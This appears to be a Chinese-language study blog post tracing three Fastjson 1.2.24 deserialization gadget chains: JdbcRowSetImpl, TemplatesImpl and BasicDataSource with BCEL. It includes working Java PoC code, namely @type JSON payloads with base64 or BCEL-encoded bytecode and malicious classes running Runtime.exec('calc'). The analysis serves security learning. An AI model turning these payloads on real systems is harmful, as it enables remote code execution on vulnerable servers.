FastJson漏洞利用分析

这里分析的是未做任何防护的

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

一、JdbcRowSetImpl

完整链路

image-20260721205307468

1.入口点

com\sun\rowset\JdbcRowSetImpl#connect

此函数下存在lookup也就是JNDI利用点

image-20260721203223423

2.衔接

com\sun\rowset\JdbcRowSetImpl#setAutoCommit

通过查找入口函数调用发现同类下的setter方法setAutoCommit会直接调用入口

image-20260721203558481

3.组装

到这里,这条链的入口方法与调用方法都已经找到,现在最重要的是控制lookup参数

这里追踪参数的实现

image-20260721204309007

进一步找到set方法,也就是实现了参数可控的目标

image-20260721204008431

4.实现

因此,完事具备,编写poc

利用yakit启动反连程序

image-20260721204807594

poc具体实现

image-20260721205058647

总结

这条链总的存在的问题是 需要出网利用

但是同时他也有一些优点

不受jdk版本约束

image-20260722111950173

也算是回到了JNDI注入的所研究的那些绕过的实现策略

二、TemplatesImpl

1.入口

image-20260722153439476

这个是我们在组装cc3的时候所利用到的一个中转类,但是存在特别多问题

  • fastjson调用getter的时候必须要求该方法为公开方法
  • 此方法对应属性不是之前所提到可以令getonlytrue的属性,也就是说只能在最后一起调用getter方法的时候调用到
  • 要保证调用到最后存在的问题有很多

2.上游入口点

于是我们寻找上游入口点

com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer

image-20260722153935009

在次寻找

image-20260722154603287

也就是我们的上游入口点

3.深入分析确认

getOnlyTrue

所以这里会提前调用 getter方法,也就命中组装好的炸弹

image-20260722152151566

getter方法在这里被通过反射调用

image-20260722152417412

也就避免了跑不到最后的尴尬,我们直接在反序列化的时候动手

4.恶意类组装

这里恶意类依旧和CC3实现的时候一样

1
2
3
4
5
6
7
public class Evil extends AbstractTranslet {   // ← 必须继承,否则 defineTransletClasses 里认不出
static {
try { Runtime.getRuntime().exec("calc"); } catch (Exception e) {}
}
public void transform(DOM d, SerializationHandler[] h) {} // 抽象方法,空实现即可
public void transform(DOM d, DTMAxisIterator it, SerializationHandler h) {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class FastJsonTemplatesImpl {
public static void main(String[] args) {

final String evilClassPath = "D:\\小川\\code\\javasec\\fastjson\\fastjson\\target\\classes\\Evil.class";

String s1 = readClass(evilClassPath);
String poc = "{"
+ "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
+ "\"_bytecodes\":[\""+s1+"\"],"
+ "\"_name\":\"a\","
+ "\"_tfactory\":{},"
+ "\"_outputProperties\":{}"
+ "}";
JSON.parseObject(poc, Feature.SupportNonPublicField);

}

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

}

image-20260722155145483

image-20260722155528331

总结

image-20260722155705422

三、BasicDataSource

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.5.73</version>
</dependency>

引入依赖

这里利用的类是"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",这个类作用是为tomcat程序提供数据库连接池

1.入口

image-20260722193718589

2.上游入口点

入口方法不是getter或者setter,所以需要进一步寻找

image-20260722194012338

依旧不是目标getter

image-20260722194113852

依旧不是继续查找用法

image-20260722194218089

这里采用的调用策略是fastjson外层tojson时会调用所有的getter方法

3.字节码加载点

这里与之前不同的是

这回没办法使用恶意类本身加载自定义字节码

找到了

BCEL ClassLoader这条在jdk8u251之前一直存在的一种类加载器

com/sun/org/apache/bcel/internal/util/ClassLoader.java

image-20260722195020312

具体逻辑如下

image-20260722195138641

4.组装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class FastJsonBasicDataSource {
public static void main(String[] args) {


final String evilClassPath = "D:\\小川\\code\\javasec\\fastjson\\fastjson\\target\\classes\\evil2.class";

String s = readClass(evilClassPath);


String poc = "{"
+ "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\","
+ "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},"
+ "\"driverClassName\":\""+s+"\""
+ "}";

JSON.parseObject(poc);
}

public static String readClass(String cls) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (FileInputStream fis = new FileInputStream(new File(cls))) {
IOUtils.copy(fis, bos);
byte[] bytes = bos.toByteArray();

// 1. 使用 BCEL 压缩并编码字节数组
String code = Utility.encode(bytes, true);

// 2. 拼接 BCEL 类加载器识别的前缀
return "$$BCEL$$" + code;
} catch (IOException e) {
e.printStackTrace();
}
return null;
}

}

1
2
3
4
5
public class evil2{
static {
try { Runtime.getRuntime().exec("calc"); } catch (Exception e) {}
}
}

image-20260722195534823

5.总结

image-20260722195648750

踩了俩坑

  • 为了省事,复用之前的恶意类,结果本次类加载器无法加载之前写的恶意类的父类AbstractTranslet

  • 依赖未加

    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>8.5.73</version>
    </dependency>

    导致一直找不到目标类org.apache.tomcat.dbcp.dbcp2.BasicDataSource